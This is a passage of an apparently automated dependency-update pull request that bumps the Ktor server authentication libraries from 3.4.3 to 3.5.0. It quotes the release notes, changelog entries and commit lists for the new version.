href=\"https://github.com/ktorio/ktor/commit/4b796859d1c189190d3fe964bf506d98356a5e0c\"\u003e\u003ccode\u003e4b79685\u003c/code\u003e\u003c/a\u003e Update dependency com.auth0:jwks-rsa to v0.24.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6fe542f9b102300921ce681afb48d38c5e3aac2d\"\u003e\u003ccode\u003e6fe542f\u003c/code\u003e\u003c/a\u003e Update tomcat.jakarta to v10.1.55\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.3...3.5.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-auth` from 3.4.3 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-auth's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.5.0\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/blob/main/CHANGELOG.md\"\u003eio.ktor:ktor-server-auth's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch1\u003e3.5.0\u003c/h1\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9567\"\u003eKTOR-9567\u003c/a\u003e Flaky UnixSockets on Windows: WSAEOPNOTSUPP from bind()\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9183\"\u003eKTOR-9183\u003c/a\u003e A client call wrapped with \u003ccode\u003ewithTimeout\u003c/code\u003e throws a generic CancellationException instead of TimeoutCancellationException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8199\"\u003eKTOR-8199\u003c/a\u003e Autoreloading: default watch patterns don't match anything when project path contain spaces\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9549\"\u003eKTOR-9549\u003c/a\u003e Kotlin/JS: ktor-ktor-client-core.mjs is incompatible with Vite: toRaw naming conflict\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9544\"\u003eKTOR-9544\u003c/a\u003e Apache: body channel not cancelled when caller scope is cancelled\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9546\"\u003eKTOR-9546\u003c/a\u003e HttpClient: cancelling ByteReadChannel body does not propagate to engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-455\"\u003eKTOR-455\u003c/a\u003e Content-Disposition additional parameters should be inside quotes\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9500\"\u003eKTOR-9500\u003c/a\u003e RawSourceChannel returns false positive on awaitContent\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-646\"\u003eKTOR-646\u003c/a\u003e Netty engine still print annoying exceptions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9527\"\u003eKTOR-9527\u003c/a\u003e Curl: Freeze when receiving large responses\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9460\"\u003eKTOR-9460\u003c/a\u003e Curl: Can't build shared library with Ktor 3.4.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9483\"\u003eKTOR-9483\u003c/a\u003e Curl: backpressure implementation is never used\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/3ccad96fbb891469cdb5ff92b51a96bb6d6374c9\"\u003e\u003ccode\u003e3ccad96\u003c/code\u003e\u003c/a\u003e Release 3.5.0 (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5612\"\u003e#5612\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/decd09ffd35e23a2b3e4481f37b252000a8b7ec2\"\u003e\u003ccode\u003edecd09f\u003c/code\u003e\u003c/a\u003e Update report links (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5616\"\u003e#5616\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/ba5bbc5a7aafe0b909e9c40536153d02b7baa99c\"\u003e\u003ccode\u003eba5bbc5\u003c/code\u003e\u003c/a\u003e Rethrow cancellation in Digest.build (\u003ca href=\"https://redirect.github.com/ktorio/ktor/issues/5618\"\u003e#5618\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/165355954f7659ddd9c114381ea8eb592dee9cb7\"\u003e\u003ccode\u003e1653559\u003c/code\u003e\u003c/a\u003e Update kotlinx-serialization to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/eb593ac471b00f99c55090fb190a0ec5cdfa5115\"\u003e\u003ccode\u003eeb593ac\u003c/code\u003e\u003c/a\u003e Update kotlinx-coroutines to v1.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/043d400e8140e1e2c46830463efb807f3669a313\"\u003e\u003ccode\u003e043d400\u003c/code\u003e\u003c/a\u003e Update dependency org.jetbrains.kotlinx:kotlinx-io-core to v0.9.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/75a8324a98f38ca299ba8af7e4224a07cb78bc30\"\u003e\u003ccode\u003e75a8324\u003c/code\u003e\u003c/a\u003e Update dependency com.squareup.okio:okio to v3.17.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/757c3da525695ae2e0b3f15b50145f50e57d08af\"\u003e\u003ccode\u003e757c3da\u003c/code\u003e\u003c/a\u003e Update dependency com.google.code.gson:gson to v2.14.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/4b796859d1c189190d3fe964bf506d98356a5e0c\"\u003e\u003ccode\u003e4b79685\u003c/code\u003e\u003c/a\u003e Update dependency com.auth0:jwks-rsa to v0.24.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ktorio/ktor/commit/6fe542f9b102300921ce681afb48d38c5e3aac2d\"\u003e\u003ccode\u003e6fe542f\u003c/code\u003e\u003c/a\u003e Update tomcat.jakarta to v10.1.55\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/ktorio/ktor/compare/3.4.3...3.5.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `io.ktor:ktor-server-auth-jwt` from 3.4.3 to 3.5.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ktorio/ktor/releases\"\u003eio.ktor:ktor-server-auth-jwt's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.5.0\u003c/h2\u003e\n\u003cblockquote\u003e\n\u003cp\u003ePublished 14 May 2026\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8421\"\u003eKTOR-8421\u003c/a\u003e Route.contentType should support multiple ContentType\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7961\"\u003eKTOR-7961\u003c/a\u003e Add known TDM headers to the HttpHeaders object\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9418\"\u003eKTOR-9418\u003c/a\u003e Support getAs from the root ApplicationConfig\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9559\"\u003eKTOR-9559\u003c/a\u003e DNS configuration for the Apache5 client\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9554\"\u003eKTOR-9554\u003c/a\u003e DNS configuration for OkHttp client engine\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9555\"\u003eKTOR-9555\u003c/a\u003e Custom SSE heartbeat function\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8914\"\u003eKTOR-8914\u003c/a\u003e Dependency injection: read annotations in function references\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8300\"\u003eKTOR-8300\u003c/a\u003e Sessions: Add a way to create a user session shared for all user devices or look up sessions of the same user\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9521\"\u003eKTOR-9521\u003c/a\u003e Upgrade to Kotlin 2.3.21\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9276\"\u003eKTOR-9276\u003c/a\u003e Make DynamicProviderConfig.authenticateFunction suspend\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9491\"\u003eKTOR-9491\u003c/a\u003e Provide parameter validation convenience functions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9506\"\u003eKTOR-9506\u003c/a\u003e OpenAPI: Support prefixItems in JsonSchema for tuple type definitions\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-470\"\u003eKTOR-470\u003c/a\u003e Add an option to not resend the session cookie if the session data wasn't changed.\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9355\"\u003eKTOR-9355\u003c/a\u003e Deprecate HttpHeaders.AcceptCharset\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7659\"\u003eKTOR-7659\u003c/a\u003e Make ktor-network compatible with ES modules for nodejs\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9350\"\u003eKTOR-9350\u003c/a\u003e JS: Make ES2015 the default target for tests\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7578\"\u003eKTOR-7578\u003c/a\u003e Update Digest authentication implementation according to RFC 7616\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eImprovements\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9503\"\u003eKTOR-9503\u003c/a\u003e The JacksonConverter.streamRequestBody property name is confusing\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9552\"\u003eKTOR-9552\u003c/a\u003e Deprecation notice for io.ktor.server.auth.Principal does not explain what to use instead\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-7458\"\u003eKTOR-7458\u003c/a\u003e Jetty Jakarta: Provide an easy way to disable SNI hostname validation\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9354\"\u003eKTOR-9354\u003c/a\u003e Websockets: webSocket builder function should return a Route to be describable\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9488\"\u003eKTOR-9488\u003c/a\u003e Nonce and hex function performance optimizations\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBugfixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9524\"\u003eKTOR-9524\u003c/a\u003e Netty response hangs after connection lost\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9542\"\u003eKTOR-9542\u003c/a\u003e Netty: The request handler runs on worker event loop instead of call event loop since 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9531\"\u003eKTOR-9531\u003c/a\u003e Netty server intermittently drops requests after upgrading to 3.4.3\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8151\"\u003eKTOR-8151\u003c/a\u003e MicrometerMetrics: \u0026quot;MeterFilters configured after a Meter has been registered\u0026quot; warning when a metric is registered before installing the plugin\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-9411\"\u003eKTOR-9411\u003c/a\u003e Darwin throws DarwinHttpRequestException instead of FrameTooBigException\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8320\"\u003eKTOR-8320\u003c/a\u003e CallLogging: plugin usage in testApplication breaks console standard output\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8906\"\u003eKTOR-8906\u003c/a\u003e Jackson, with request body streaming on, exhausts Dispatchers.IO\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://youtrack.jetbrains.com/issue/KTOR-8709\"\u003eKTOR-8709\u003c/a\u003e Websockets: Unable to close session with a custom CloseReason\u003c/li\u003e\n\u003cli\u003e\u003ca 